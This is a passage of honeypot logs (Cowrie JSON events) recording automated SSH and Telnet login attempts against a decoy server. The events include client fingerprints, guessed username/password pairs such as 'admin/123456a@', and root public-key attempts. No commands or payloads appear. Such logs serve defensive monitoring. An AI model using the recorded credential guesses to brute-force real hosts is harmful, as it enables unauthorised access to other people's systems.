af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:36:58.542213Z","src_ip":"223.233.84.127","session":"9aa359cf533b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"password","message":"login attempt [debian/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:36:59.721404Z","src_ip":"223.233.84.127","session":"9aa359cf533b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:00.974631Z","src_ip":"223.233.84.127","session":"9aa359cf533b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43274,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ef7d8f044ad","protocol":"telnet","message":"New connection: 135.148.33.91:43274 (159.203.135.109:23) [session: 5ef7d8f044ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:07.533764Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.165.231.222","src_port":56930,"dst_ip":"10.17.0.5","dst_port":23,"session":"a92edbba801f","protocol":"telnet","message":"New connection: 165.165.231.222:56930 (10.17.0.5:23) [session: a92edbba801f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:15.991994Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.95.34.214","src_port":59150,"dst_ip":"10.17.0.5","dst_port":22,"session":"c956fa2e4f28","protocol":"ssh","message":"New connection: 141.95.34.214:59150 (10.17.0.5:22) [session: c956fa2e4f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:28.534171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:28.538853Z","src_ip":"141.95.34.214","session":"c956fa2e4f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.618802309036255,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:28.610687Z","src_ip":"165.165.231.222","session":"a92edbba801f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:28.629737Z","src_ip":"141.95.34.214","session":"c956fa2e4f28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:d4:4c:b1:50:a8:f7:55:aa:60:1c:c5:33:00:1b:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6Q0x4SB0rjbNW9LIdavNYyB349vZEwyNhhyLMGlE2p0pLfg2a3AG//DmIRl47a5GMuNFr/+6Os8xGyRccBrBUPfCV2D13MX33jSrF1l+1yzHWak7jXILr8F4Pc9pSw6eEMv9gacHief3T7s1xFx6YtVke8FGX4L801iujTIhP6zTI5BlgT0Zj6Gog9JyyEXpHnUJqXBkaAtUSWLW37O8EOr1DtbXgCnC1oNc2G0gNrr+SSSkOuU+HYKn9H0s5Nqxczr+KPqerbE8rWpVBnUbRJ6kB1RpRcLWi9u16y/qGKXo0wClMTFwwtRb+LXzsJEY9G9HcwNtEL9yurvBKHV2T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:d4:4c:b1:50:a8:f7:55:aa:60:1c:c5:33:00:1b:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:29.064101Z","src_ip":"141.95.34.214","session":"c956fa2e4f28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:d4:4c:b1:50:a8:f7:55:aa:60:1c:c5:33:00:1b:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6Q0x4SB0rjbNW9LIdavNYyB349vZEwyNhhyLMGlE2p0pLfg2a3AG//DmIRl47a5GMuNFr/+6Os8xGyRccBrBUPfCV2D13MX33jSrF1l+1yzHWak7jXILr8F4Pc9pSw6eEMv9gacHief3T7s1xFx6YtVke8FGX4L801iujTIhP6zTI5BlgT0Zj6Gog9JyyEXpHnUJqXBkaAtUSWLW37O8EOr1DtbXgCnC1oNc2G0gNrr+SSSkOuU+HYKn9H0s5Nqxczr+KPqerbE8rWpVBnUbRJ6kB1RpRcLWi9u16y/qGKXo0wClMTFwwtRb+LXzsJEY9G9HcwNtEL9yurvBKHV2T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:29.067557Z","src_ip":"141.95.34.214","session":"c956fa2e4f28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:39:7e:df:b1:78:aa:26:c8:88:cb:cf:ac:ec:e5:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsE+TY47E/Q4pGRRCzK6BnLkpda3b0N29P157JEADugxy1EfCLSBNSM0+NV+fqPyCA/SGpLI9NH4TVeckxR9V61NcMYhzypEpnEBJTFzku1xBKboSzpVwOL5cUweq1T+FA9gwvM7HcAsJejnAt+vAg1jP1vgLKnM+EAUknHJbdfy7wPtbnOjoYrR3NdoIpyOfAswERfMM6komuq9wr/ctjHV1CYAqawvw8BfMlWphQoAOpS918paMuUqdP6KNu8NhkplEaSUOMtYiwhjx+lPiUJdLGer9S622BmSCpbxDg9AiIdFfPQwcsOnAQLGc25whR40s2PjreomnizwWCcetDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:39:7e:df:b1:78:aa:26:c8:88:cb:cf:ac:ec:e5:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:29.159038Z","src_ip":"141.95.34.214","session":"c956fa2e4f28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:39:7e:df:b1:78:aa:26:c8:88:cb:cf:ac:ec:e5:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsE+TY47E/Q4pGRRCzK6BnLkpda3b0N29P157JEADugxy1EfCLSBNSM0+NV+fqPyCA/SGpLI9NH4TVeckxR9V61NcMYhzypEpnEBJTFzku1xBKboSzpVwOL5cUweq1T+FA9gwvM7HcAsJejnAt+vAg1jP1vgLKnM+EAUknHJbdfy7wPtbnOjoYrR3NdoIpyOfAswERfMM6komuq9wr/ctjHV1CYAqawvw8BfMlWphQoAOpS918paMuUqdP6KNu8NhkplEaSUOMtYiwhjx+lPiUJdLGer9S622BmSCpbxDg9AiIdFfPQwcsOnAQLGc25whR40s2PjreomnizwWCcetDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:29.162757Z","src_ip":"141.95.34.214","session":"c956fa2e4f28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:91:dd:2f:c0:08:d3:aa:db:2f:3b:db:ea:2f:8d:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx7znnufhLjagmwDscfNxxgDoOvb29FnpOznfVI2HuOTYgNY+z+tpziA/lb3j/cw9rHFwrc1a8nHMxYQWOPmAm7NTRYEazEh0ZHAL00nLuVgFJWP8y3AraDm0RvKEu2sIlNzNf7w/+GLOoDZgQzV3iYAo8WONflzVb/rSfvgJpqmjSUP8oQJA3T+l2MhW/E0LwHQB1PFRG+vQ9RGf0kTqhpca/Vy9SjWnuxFraTSzuzKue41jIoBy2vY/fSp/9N9oGxKsqufSkJM+ALrXi0l7Pul1yvHkjYxKMnXwJfK0G6uoXzNbpbgz8zMjr8nPXem45rSnSBwkeQ8Eh8aHimTcnw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:91:dd:2f:c0:08:d3:aa:db:2f:3b:db:ea:2f:8d:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:29.254395Z","src_ip":"141.95.34.214","session":"c956fa2e4f28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:91:dd:2f:c0:08:d3:aa:db:2f:3b:db:ea:2f:8d:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx7znnufhLjagmwDscfNxxgDoOvb29FnpOznfVI2HuOTYgNY+z+tpziA/lb3j/cw9rHFwrc1a8nHMxYQWOPmAm7NTRYEazEh0ZHAL00nLuVgFJWP8y3AraDm0RvKEu2sIlNzNf7w/+GLOoDZgQzV3iYAo8WONflzVb/rSfvgJpqmjSUP8oQJA3T+l2MhW/E0LwHQB1PFRG+vQ9RGf0kTqhpca/Vy9SjWnuxFraTSzuzKue41jIoBy2vY/fSp/9N9oGxKsqufSkJM+ALrXi0l7Pul1yvHkjYxKMnXwJfK0G6uoXzNbpbgz8zMjr8nPXem45rSnSBwkeQ8Eh8aHimTcnw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:29.259281Z","src_ip":"141.95.34.214","session":"c956fa2e4f28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:e7:16:ce:b1:fa:e3:1e:f8:e1:90:9a:2d:1a:26:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxaYldyUdsThrU7s1Z83smycO9wVU6FYcLPeqxPaHm5YSkBGgVnyQcCUMNv+siTtqh0q5aD52DpYB0/B8iXZcrXIfsuE7pdsFE70qiiaqSZIWeQk0pKklk/Lmt5MFJ86Rw95XUKsMydo4f5uGMlhtZUXZoR5ZY1IkPqOyTVEVPfmKC4IL/dIOOUgNUp0W2sHkpqh8RyGlJFOuwD1NxikcfBdUt1TVhB3nGoj2yltf7RcLkEGaDN3iVP4+w4169Is7un7/c2Eczwwt8+HFbuazS3s94tEiEsegD6n1ZgeHhBx6mUzWAwDLDXwvDR13mfRe1dLg3rVh/9upKkl5BZ/ZCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:e7:16:ce:b1:fa:e3:1e:f8:e1:90:9a:2d:1a:26:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:29.352351Z","src_ip":"141.95.34.214","session":"c956fa2e4f28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:e7:16:ce:b1:fa:e3:1e:f8:e1:90:9a:2d:1a:26:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxaYldyUdsThrU7s1Z83smycO9wVU6FYcLPeqxPaHm5YSkBGgVnyQcCUMNv+siTtqh0q5aD52DpYB0/B8iXZcrXIfsuE7pdsFE70qiiaqSZIWeQk0pKklk/Lmt5MFJ86Rw95XUKsMydo4f5uGMlhtZUXZoR5ZY1IkPqOyTVEVPfmKC4IL/dIOOUgNUp0W2sHkpqh8RyGlJFOuwD1NxikcfBdUt1TVhB3nGoj2yltf7RcLkEGaDN3iVP4+w4169Is7un7/c2Eczwwt8+HFbuazS3s94tEiEsegD6n1ZgeHhBx6mUzWAwDLDXwvDR13mfRe1dLg3rVh/9upKkl5BZ/ZCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:29.355899Z","src_ip":"141.95.34.214","session":"c956fa2e4f28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:4b:db:4f:d9:22:03:ad:26:9d:60:06:ae:df:34:3a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJrgWDo/u1BVy9iLRDxsH47VS7/6GwqnaHH9RRQYjwYXP8W0tHSlbc4qG8W+FsfgvBnT+rkaJSBvO6jrLypoA2ld1n15jrNVRNiMb3OoovM/EPSXUMF5C4i+ycR9h3iFs2a0LtxPF3C2ITmYo+oFZ2e6rl4P9FK7EQ/e1U5wpiFNAAAAFQD1ti/VZqwfPlIbXEZdCNrXeWQ0VwAAAIBOuatMOtI+Cy0fRl1sh1P93WJgT8fMHI/7IBdkIiCVq1SdujPDVQdFxwEuyu1fV7zIFKORmS0p1wgCilY2TV74FiOw6jksOZfIX7CldMfc4x7ZjxtgYq3M2Iqqpx3wwo5XBlF880zdBw62+zEupn2J6a3DoK9G9zIPoSfveAOuwAAAAIBykGsU0TrS+x6m/ZB30/Etb7uXlgS4D7PEadaodsGHLZqmqAWr8sOizd7N1w6dqCNFgkcppfVjeoUXfSNbb0fJgPT5yTMChPGiZLMP68ZhhvflbAsttB/0pHd5Ehi8fYfj8r+AfcREiu57PgS9cDDynnXDxhg//5YdpBFl+lRq1A==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 6f:4b:db:4f:d9:22:03:ad:26:9d:60:06:ae:df:34:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:29.448945Z","src_ip":"141.95.34.214","session":"c956fa2e4f28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:4b:db:4f:d9:22:03:ad:26:9d:60:06:ae:df:34:3a","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJrgWDo/u1BVy9iLRDxsH47VS7/6GwqnaHH9RRQYjwYXP8W0tHSlbc4qG8W+FsfgvBnT+rkaJSBvO6jrLypoA2ld1n15jrNVRNiMb3OoovM/EPSXUMF5C4i+ycR9h3iFs2a0LtxPF3C2ITmYo+oFZ2e6rl4P9FK7EQ/e1U5wpiFNAAAAFQD1ti/VZqwfPlIbXEZdCNrXeWQ0VwAAAIBOuatMOtI+Cy0fRl1sh1P93WJgT8fMHI/7IBdkIiCVq1SdujPDVQdFxwEuyu1fV7zIFKORmS0p1wgCilY2TV74FiOw6jksOZfIX7CldMfc4x7ZjxtgYq3M2Iqqpx3wwo5XBlF880zdBw62+zEupn2J6a3DoK9G9zIPoSfveAOuwAAAAIBykGsU0TrS+x6m/ZB30/Etb7uXlgS4D7PEadaodsGHLZqmqAWr8sOizd7N1w6dqCNFgkcppfVjeoUXfSNbb0fJgPT5yTMChPGiZLMP68ZhhvflbAsttB/0pHd5Ehi8fYfj8r+AfcREiu57PgS9cDDynnXDxhg//5YdpBFl+lRq1A==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:29.452589Z","src_ip":"141.95.34.214","session":"c956fa2e4f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:29.544465Z","src_ip":"141.95.34.214","session":"c956fa2e4f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.10769081115723,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:43.641363Z","src_ip":"135.148.33.91","session":"5ef7d8f044ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":13804,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b6eead299ad","protocol":"ssh","message":"New connection: 223.233.84.127:13804 (10.17.0.5:22) [session: 1b6eead299ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:55.580112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:55.584933Z","src_ip":"223.233.84.127","session":"1b6eead299ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:55.896481Z","src_ip":"223.233.84.127","session":"1b6eead299ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456a@","message":"login attempt [admin/123456a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:56.954387Z","src_ip":"223.233.84.127","session":"1b6eead299ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:37:58.212605Z","src_ip":"223.233.84.127","session":"1b6eead299ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.121.98.148","src_port":45791,"dst_ip":"10.17.0.5","dst_port":23,"session":"c848af796125","protocol":"telnet","message":"New connection: 193.121.98.148:45791 (10.17.0.5:23) [session: c848af796125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:38:39.973433Z"}
{"eventid":"cowrie.session.closed","duration":12.577394723892212,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:38:52.550676Z","src_ip":"193.121.98.148","session":"c848af796125","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":30783,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1db1ab4703b","protocol":"ssh","message":"New connection: 223.233.84.127:30783 (10.17.0.5:22) [session: b1db1ab4703b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:39:06.731157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:39:06.742279Z","src_ip":"223.233.84.127","session":"b1db1ab4703b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:39:07.038169Z","src_ip":"223.233.84.127","session":"b1db1ab4703b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"test123","message":"login attempt [david/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:39:08.085095Z","src_ip":"223.233.84.127","session":"b1db1ab4703b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:39:09.338892Z","src_ip":"223.233.84.127","session":"b1db1ab4703b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":22720,"dst_ip":"10.17.0.5","dst_port":22,"session":"d18f2a85ed44","protocol":"ssh","message":"New connection: 223.233.84.127:22720 (10.17.0.5:22) [session: d18f2a85ed44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:40:03.722253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:40:03.728202Z","src_ip":"223.233.84.127","session":"d18f2a85ed44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:40:04.040577Z","src_ip":"223.233.84.127","session":"d18f2a85ed44","protocol":"ssh"}
